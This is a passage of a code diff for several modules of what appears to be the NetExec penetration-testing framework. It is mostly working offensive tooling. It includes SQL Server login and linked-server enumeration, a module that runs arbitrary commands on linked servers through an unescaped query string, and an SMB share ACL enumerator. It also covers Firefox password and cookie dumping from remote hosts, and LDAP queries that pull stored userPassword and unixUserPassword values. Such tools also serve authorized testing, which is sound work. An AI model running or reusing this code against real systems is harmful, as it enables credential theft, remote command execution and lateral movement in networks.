def get_linked_servers(self) -> list:
|
||||
"""
|
||||
Fetches a list of linked servers.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of linked server names.
|
||||
"""
|
||||
query = "EXEC sp_linkedservers;"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [server["SRV_NAME"] for server in res] if res else []
|
||||
@@ -0,0 +1,40 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
logins = self.get_logins()
|
||||
if logins:
|
||||
self.context.log.success("Logins found:")
|
||||
for login in logins:
|
||||
self.context.log.display(f" - {login}")
|
||||
else:
|
||||
self.context.log.fail("No logins found.")
|
||||
|
||||
def get_logins(self) -> list:
|
||||
"""
|
||||
Fetches a list of SQL Server logins.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of login names.
|
||||
"""
|
||||
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [login["name"] for login in res] if res else []
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -1,365 +0,0 @@
|
||||
# Module by @syl
|
||||
# https://twitter.com/5yrull
|
||||
# S-1-5-21-3750225908-897271529-2201778708-1103
|
||||
# 'S-1-5-21-3750225908-897271529-2201778708'
|
||||
# (Pdb) resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
|
||||
# (Pdb) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
|
||||
# (Pdb) domainSid
|
||||
# 'S-1-5-21-3750225908-897271529-2201778708'
|
||||
# (Pdb) lsat.hLsarLookupSids(dce, policyHandle, ['S-1-5-21-3750225908-897271529-2201778708-1103'],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
||||
# <impacket.dcerpc.v5.lsat.LsarLookupSidsResponse object at 0x7f041cba9d50>
|
||||
# (Pdb) resp = lsat.hLsarLookupSids(dce, policyHandle, ['S-1-5-21-3750225908-897271529-2201778708-1103'],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
||||
# (Pdb) resp
|
||||
# <impacket.dcerpc.v5.lsat.LsarLookupSidsResponse object at 0x7f041cba9de0>
|
||||
# (Pdb) resp.__dict__
|
||||
# {'_isNDR64': False, 'fields': {'ReferencedDomains': <impacket.dcerpc.v5.lsat.PLSAPR_REFERENCED_DOMAIN_LIST object at 0x7f041cba9ea0>, 'TranslatedNames': <impacket.dcerpc.v5.lsat.LSAPR_TRANSLATED_NAMES object at 0x7f041cba9450>, 'MappedCount': <impacket.dcerpc.v5.ndr.NDRULONG object at 0x7f041cba9270>, 'ErrorCode': <impacket.dcerpc.v5.ndr.NDRULONG object at 0x7f041cba8460>}}
|
||||
# (Pdb) resp.TranslatedNames
|
||||
# *** AttributeError: 'LsarLookupSidsResponse' object has no attribute 'TranslatedNames'
|
||||
# (Pdb) resp["TranslatedNames"]
|
||||
# <impacket.dcerpc.v5.lsat.LSAPR_TRANSLATED_NAMES object at 0x7f041cba9450>
|
||||
# (Pdb) resp["TranslatedNames"].__dict__
|
||||
# {'_isNDR64': False, 'fields': {'Entries': <impacket.dcerpc.v5.ndr.NDRULONG object at 0x7f041cba9960>, 'Names': <impacket.dcerpc.v5.lsat.PLSAPR_TRANSLATED_NAME_ARRAY object at 0x7f041cba9a80>}}
|
||||
# (Pdb) resp["TranslatedNames"]["Names"]
|
||||
# [<impacket.dcerpc.v5.lsat.LSAPR_TRANSLATED_NAME object at 0x7f041cba8a60>]
|
||||
# (Pdb) resp["TranslatedNames"]["Names"][0].__dict_
|
||||
# *** AttributeError: 'LSAPR_TRANSLATED_NAME' object has no attribute '__dict_'
|
||||
# (Pdb) resp["TranslatedNames"]["Names"][0].__dict__
|
||||
# {'_isNDR64': False, 'fields': {'Use': <impacket.dcerpc.v5.samr.SID_NAME_USE object at 0x7f041cba8c70>, 'Name': <impacket.dcerpc.v5.dtypes.RPC_UNICODE_STRING object at 0x7f041cba8be0>, 'DomainIndex': <impacket.dcerpc.v5.ndr.NDRLONG object at 0x7f041cba8ca0>}}
|
||||
# (Pdb) resp["TranslatedNames"]["Names"][0]["name"]
|
||||
# *** KeyError: 'name'
|
||||
# (Pdb) resp["TranslatedNames"]["Names"][0]["Name"]
|
||||
# 'George.Hotz'
|
||||
# (Pdb)
|
||||
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad
|
||||
from impacket.dcerpc.v5.samr import SID_NAME_USE
|
||||
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR
|
||||
from winacl.functions.constants import SE_OBJECT_TYPE
|
||||
from winacl.dtyp.ace import FILE_ACCESS_MASK
|
||||
from termcolor import colored
|
||||
|
||||
def get_dce_from_smb(conn):
|
||||
string_binding = rf"ncacn_np:{conn.remoteName}[\pipe\lsarpc]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_dport(conn.port)
|
||||
rpctransport.setRemoteHost(conn.host)
|
||||
rpctransport.set_credentials(conn.username, conn.password, conn.domain, conn.lmhash, conn.nthash)
|
||||
return rpctransport.get_dce_rpc()
|
||||
|
||||
def lookup_sid(dce, sid):
|
||||
dce.connect()
|
||||
dce.bind(lsat.MSRPC_UUID_LSAT)
|
||||
policy_response = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
|
||||
policy_handle = policy_response["PolicyHandle"]
|
||||
sid_response = lsat.hLsarLookupSids(dce, policy_handle, [sid],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
||||
sid_name = sid_response["TranslatedNames"]["Names"][0]["Name"]
|
||||
dce.disconnect()
|
||||
return sid_name
|
||||
|
||||
AVAILABLE_FILTERS = ["ace_mask", "ace_sid", "owner", "group"]
|
||||
READ_CONTROL = 0x00020000
|
||||
FILE_SHARE_READ = 0x00000001
|
||||
FILE_NON_DIRECTORY_FILE = 0x00000040
|
||||
FILE_DIRECTORY_FILE = 0x00000001
|
||||
IMPERSONATION = 0x00000002
|
||||
|
||||
class SMBACLEnumerator:
|
||||
|
||||
AVAILABLE_FILTERS = ["ace_mask", "ace_sid", "owner", "group"]
|
||||
|
||||
def __init__(self, connection, context, module_options) -> None:
|
||||
self.connection = connection
|
||||
self.smb_connection = connection.conn
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.filters = self.parse_filters(self.module_options)
|
||||
self.shares = self.get_shares()
|
||||
|
||||
def get_shares(self):
|
||||
shares = self.connection.shares()
|
||||
|
||||
def parse_filters(self, options: dict) -> dict:
|
||||
...
|
||||
|
||||
def get_security_descriptor() -> None:
|
||||
...
|
||||
|
||||
# def get_security_descriptor(file, smb_connection, context, share_name, file_path, filters=None):
|
||||
# """
|
||||
# Retrieve the security descriptor of a file on a share.
|
||||
|
||||
# Parameters
|
||||
# ----------
|
||||
# file: File object.
|
||||
# smb_connection: SMB connection instance.
|
||||
# context: Context for logging.
|
||||
# share_name: Name of the SMB share.
|
||||
# file_path: Path of the file.
|
||||
# filters: Optional filters for security descriptor components.
|
||||
|
||||
# Returns
|
||||
# -------
|
||||
# None: If the file does not meet the filter criteria.
|
||||
# """
|
||||
# file_full_path = file_path + file.get_longname()
|
||||
# tree_id = smb_connection.connectTree(share_name)
|
||||
# file_id = create_file(smb_connection, tree_id, file_full_path)
|
||||
|
||||
# try:
|
||||
# security_descriptor = smb_connection._SMBConnection.query_sec_info(tree_id, file_id)
|
||||
# security_descriptor_obj = parse_security_descriptor(security_descriptor)
|
||||
|
||||
# if filters and not passes_filters(security_descriptor_obj, filters):
|
||||
# return
|
||||
|
||||
# log_security_descriptor(context, file_full_path, security_descriptor_obj)
|
||||
# except SessionError as e:
|
||||
# context.log.debug(e)
|
||||
|
||||
|
||||
# def create_file(smb_connection, tree_id, file_full_path):
|
||||
# """Create a file in the SMB share and return its ID."""
|
||||
# return smb_connection.createFile(
|
||||
# tree_id,
|
||||
# file_full_path,
|
||||
# desiredAccess=READ_CONTROL,
|
||||
# shareMode=FILE_SHARE_READ,
|
||||
# creationOption=FILE_NON_DIRECTORY_FILE,
|
||||
# creationDisposition=FILE_DIRECTORY_FILE,
|
||||
# fileAttributes=0,
|
||||
# impersonationLevel=IMPERSONATION,
|
||||
# )
|
||||
|
||||
|
||||
# def parse_security_descriptor(security_descriptor):
|
||||
# """Parse the security descriptor from bytes to an object."""
|
||||
# return SECURITY_DESCRIPTOR.from_bytes(
|
||||
# security_descriptor, object_type=SE_OBJECT_TYPE.SE_FILE_OBJECT
|
||||
# )
|
||||
|
||||
|
||||
# def passes_filters(security_descriptor_obj, filters):
|
||||
# """
|
||||
# Check if the security descriptor object passes the given filter criteria.
|
||||
|
||||
# Parameters
|
||||
# ----------
|
||||
# security_descriptor_obj: The security descriptor object.
|
||||
# filters: Dictionary of filter criteria.
|
||||
|
||||
# Returns
|
||||
# -------
|
||||
# bool: True if the descriptor passes all filters, False otherwise.
|
||||
# """
|
||||
# for filter_type, values in filters.items():
|
||||
# if filter_type == "owner" and str(security_descriptor_obj.Owner) not in values:
|
||||
# return False
|
||||
# if filter_type == "group" and str(security_descriptor_obj.Group) not in values:
|
||||
# return False
|
||||
# if filter_type == "ace_sid":
|
||||
# sids = [str(ace.Sid) for ace in security_descriptor_obj.Dacl.aces]
|
||||
# if not any(sid in sids for sid in values):
|
||||
# return False
|
||||
# if filter_type == "ace_mask":
|
||||
# masks = [FILE_ACCESS_MASK(ace.Mask).name for ace in security_descriptor_obj.Dacl.aces]
|
||||
# if not any(mask in masks for mask in values):
|
||||
# return False
|
||||
# return True
|
||||
|
||||
|
||||
def log_security_descriptor(context, file_path, descriptor_obj):
|
||||
"""
|
||||
Log details about the security descriptor.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
context: Context for logging.
|
||||
file_path: Path of the file.
|
||||
descriptor_obj: The security descriptor object.
|
||||
"""
|
||||
context.log.success(file_path)
|
||||
context.log.highlight(f"\t Owner: {descriptor_obj.Owner}")
|
||||
context.log.highlight(f"\t Group: {descriptor_obj.Group}")
|
||||
context.log.highlight(f"\t SACL: {descriptor_obj.Sacl}")
|
||||
|
||||
if descriptor_obj.Dacl is not None:
|
||||
context.log.highlight(f"\t ACEs[{len(descriptor_obj.Dacl.aces)}]: ")
|
||||
for ace in descriptor_obj.Dacl.aces:
|
||||
ace_str = str(ace)
|
||||
if "\r\n" in ace_str:
|
||||
ace_formatted = ace_str.split("\r\n")[:-1]
|
||||
for line in ace_formatted:
|
||||
context.log.highlight(f"\t\t {line}")
|
||||
context.log.highlight("\t\t " + len(ace_formatted[0]) * "=")
|
||||
else:
|
||||
context.log.highlight(f"\t\t {ace_str}")
|
||||
|
||||
def get_security_descriptor(conn, file, smb_connection, context, share_name, file_path, filters=None):
|
||||
"""Retrieving the security descriptor of a certain file on a share"""
|
||||
tree_id = smb_connection.connectTree(share_name)
|
||||
dce = get_dce_from_smb(conn)
|
||||
desired_access = 0x00020000 # READ_CONTROL
|
||||
share_mode = 0x00000001 # FILE_SHARE_READ
|
||||
create_options = 0x00000040 # FILE_NON_DIRECTORY_FILE
|
||||
file_attrs = 0
|
||||
create_disposition = 0x00000001 # FILE_DIRECTORY_FILE
|
||||
file_full_path = file_path + file.get_longname()
|
||||
try:
|
||||
file_id = smb_connection.createFile(
|
||||
tree_id,
|
||||
file_full_path,
|
||||
desiredAccess=desired_access,
|
||||
shareMode=share_mode,
|
||||
creationOption=create_options,
|
||||
creationDisposition=create_disposition,
|
||||
fileAttributes=file_attrs,
|
||||
impersonationLevel=0x00000002, # Impersonation
|
||||
)
|
||||
|
||||
security_descriptor = smb_connection._SMBConnection.query_sec_info(tree_id, file_id)
|
||||
security_descriptor_obj = SECURITY_DESCRIPTOR.from_bytes(
|
||||
security_descriptor, object_type=SE_OBJECT_TYPE.SE_FILE_OBJECT
|
||||
)
|
||||
|
||||
if filters:
|
||||
for _filter, values in filters.items():
|
||||
if _filter == "owner" and str(security_descriptor_obj.Owner) not in values:
|
||||
return
|
||||
if _filter == "group" and str(security_descriptor_obj.Group) not in values:
|
||||
return
|
||||
if _filter == "ace_sid":
|
||||
sids = [str(_ace.Sid) for _ace in security_descriptor_obj.Dacl.aces]
|
||||
for sid in values:
|
||||
if sid in sids:
|
||||
continue
|
||||
else:
|
||||
return
|
||||
if _filter == "ace_mask":
|
||||
masks = [FILE_ACCESS_MASK(_ace.Mask).name for _ace in security_descriptor_obj.Dacl.aces]
|
||||
for mask in values:
|
||||
if mask in masks:
|
||||
continue
|
||||
else:
|
||||
return
|
||||
|
||||
context.log.success(file_full_path)
|
||||
# Also get the user's group to mark it as Owned
|
||||
# smb_connection._SMBConnection._SMB__userName
|
||||
username = smb_connection._SMBConnection._SMB__userName
|
||||
|
||||
owner = lookup_sid(dce, str(security_descriptor_obj.Owner))
|
||||
if owner == username:
|
||||
owner = owner + colored("Pwn3d!", "red")
|
||||
group = lookup_sid(dce, str(security_descriptor_obj.Group))
|
||||
context.log.highlight(f"\t Owner: {owner}")
|
||||
context.log.highlight(f"\t Group: {group}")
|
||||
context.log.highlight(f"\t SACL: {security_descriptor_obj.Sacl}")
|
||||
|
||||
if security_descriptor_obj.Dacl is not None:
|
||||
context.log.highlight("\t ACEs:")
|
||||
for ace in security_descriptor_obj.Dacl.aces:
|
||||
ace_sid_name = lookup_sid(dce, str(ace.Sid))
|
||||
mask_formatted = FILE_ACCESS_MASK(ace.Mask).name
|
||||
if mask_formatted is None:
|
||||
continue
|
||||
owned = colored(" (Own3d!)", "red") if ace_sid_name == username else ""
|
||||
context.log.highlight(f"\t\t {ace_sid_name} - {mask_formatted}{owned}")
|
||||
except SessionError as e:
|
||||
context.log.debug(e)
|
||||
|
||||
def enumerate_files(conn, smb_connection, share_name, current_path, context, filters=None):
|
||||
"""Recursive function that enumerates the directories"""
|
||||
try:
|
||||
print(f"{smb_connection=} {share_name=} {current_path=}")
|
||||
file_list = smb_connection.listPath(share_name, current_path + "*")
|
||||
for file in file_list:
|
||||
if (
|
||||
file.is_directory()
|
||||
and not file.is_system()
|
||||
and file.get_longname() not in [".", ".."]
|
||||
):
|
||||
next_path = current_path + file.get_longname() + "/"
|
||||
context.log.debug(f"Trying to enumrate files in {next_path}")
|
||||
enumerate_files(conn, smb_connection, share_name, next_path, context, filters)
|
||||
if not file.is_directory() and not file.is_system():
|
||||
context.log.debug(f"File Found {file.get_longname()}")
|
||||
get_security_descriptor(conn, file, smb_connection, context, share_name, current_path, filters)
|
||||
except SessionError as e:
|
||||
context.log.error(e)
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
A module to enumerate the ACLs of the files in a share.
|
||||
|
||||
Module by @syl, thanks to @Skelsec and @NeffIsBack
|
||||
"""
|
||||
name = "enum_share_acls"
|
||||
description = ""
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.server = None
|
||||
self.file_path = None
|
||||
self.lnk_path = None
|
||||
self.lnk_name = None
|
||||
self.cleanup = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage:
|
||||
nxc smb 127.0.0.1 -u administrator -p 'Password123!' -M enum_share_acls -o FILTER="ace_mask=FILE_ALL_ACCESS,ace_sid=S-1-5-32-544"
|
||||
nxc smb 127.0.0.1 -u administrator -p 'Password123!' -M enum_share_acls -o FILTER="ace_mask=FILE_ALL_ACCESS|READ_CONTROL,ace_sid=S-1-5-32-544"
|
||||
nxc smb 127.0.0.1 -u administrator -p 'Password123!' -M enum_share_acls -o FILTER="owner=S-1-5-32-544"
|
||||
"""
|
||||
self.FILTER = None
|
||||
if "FILTER" in module_options:
|
||||
self.FILTER = module_options["FILTER"]
|
||||
|
||||
def parse_filters(self):
|
||||
parsed_filters = self.FILTER.split(",")
|
||||
filters_dict = {}
|
||||
masks = [m.name for m in FILE_ACCESS_MASK]
|
||||
for _filter in parsed_filters:
|
||||
|
||||
splitted_filter = _filter.split("=")
|
||||
|
||||
if splitted_filter[0] not in AVAILABLE_FILTERS:
|
||||
return None, f"{_filter} filter isn't available, please choose between {AVAILABLE_FILTERS}"
|
||||
|
||||
for __filter in AVAILABLE_FILTERS:
|
||||
if __filter in _filter:
|
||||
filters_dict[__filter] = splitted_filter[1]
|
||||
if "|" in filters_dict[__filter]:
|
||||
filters_dict[__filter] = filters_dict[__filter].split("|")
|
||||
else:
|
||||
filters_dict[__filter] = [splitted_filter[1],]
|
||||
|
||||
# Verify the filters
|
||||
if "ace_mask" in filters_dict:
|
||||
for mask_name in filters_dict["ace_mask"]:
|
||||
if mask_name not in masks:
|
||||
return None, f"{mask_name} ace_mask isn't valid, please choose between {mask_name}"
|
||||
return filters_dict, None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
smb_connection = connection.conn
|
||||
filters = None
|
||||
if self.FILTER:
|
||||
filters, err = self.parse_filters()
|
||||
if err is not None:
|
||||
context.log.error(err)
|
||||
for share in shares:
|
||||
share_name = share["name"]
|
||||
context.log.display(f"Enumerating ACLs on share: {share_name}")
|
||||
enumerate_files(connection, smb_connection, share_name, "/", context, filters)
|
||||
@@ -21,7 +21,7 @@ class NXCModule:
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute commands on linked servers
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.linked_server = None
|
||||
self.command = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LINKED_SERVER: The name of the linked server to execute the command on.
|
||||
COMMAND: The command to execute on the linked server.
|
||||
"""
|
||||
if "LINKED_SERVER" in module_options:
|
||||
self.linked_server = module_options["LINKED_SERVER"]
|
||||
if "COMMAND" in module_options:
|
||||
self.command = module_options["COMMAND"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server or not self.command:
|
||||
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
|
||||
return
|
||||
|
||||
self.execute_on_link()
|
||||
|
||||
def execute_on_link(self):
|
||||
"""Executes the specified command on the linked server."""
|
||||
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
self.context.log.display(f"Command output: {result}")
|
||||
@@ -39,7 +39,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
except LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
|
||||
+29
-15
@@ -1,5 +1,5 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.protocols.smb.firefox import FirefoxTriage
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -10,16 +10,24 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "firefox"
|
||||
description = "Dump credentials from Firefox"
|
||||
description = "[REMOVED] Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Dump credentials from Firefox"""
|
||||
"""
|
||||
[REMOVED] use the --dpapi flag instead of the module firefox.
|
||||
|
||||
COOKIES Get also Firefox cookies
|
||||
"""
|
||||
self.gather_cookies = "COOKIES" in module_options
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
|
||||
return
|
||||
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
@@ -41,19 +49,25 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
def firefox_callback(secret):
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
|
||||
context.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
"FIREFOX",
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=context.log)
|
||||
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
|
||||
firefox_triage.upgrade_connection(connection=connection.conn)
|
||||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight(
|
||||
"[{}][FIREFOX] {} {}:{}".format(
|
||||
credential.winuser,
|
||||
credential.url + " -" if credential.url != "" else "-",
|
||||
credential.username,
|
||||
credential.password,
|
||||
)
|
||||
)
|
||||
firefox_triage.run(gather_cookies=self.gather_cookies)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting firefox: {e}")
|
||||
@@ -1,7 +1,7 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
@@ -55,24 +55,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = attribute["vals"][0]
|
||||
if sAMAccountName != "" and description != "":
|
||||
answers.append([sAMAccountName, description])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
|
||||
|
||||
answers = self.filter_answer(context, answers)
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
@@ -108,5 +94,5 @@ class NXCModule:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
|
||||
return answersFiltered
|
||||
@@ -121,7 +121,7 @@ class NXCModule:
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
list_sites = connection.ldap_connection.search(
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,11 +20,11 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
searchFilter = "(unixUserPassword=*)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "unixUserPassword"],
|
||||
sizeLimit=0,
|
||||
@@ -37,27 +37,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
unixUserPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "unixUserPassword":
|
||||
unixUserPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(unixUserPassword) > 0:
|
||||
answers.append([sAMAccountName, unixUserPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
if resp:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -1,6 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,11 +20,11 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
searchFilter = "(userPassword=*)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "userPassword"],
|
||||
sizeLimit=0,
|
||||
@@ -37,27 +37,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userPassword":
|
||||
userPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(userPassword) > 0:
|
||||
answers.append([sAMAccountName, userPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
if resp:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
|
||||
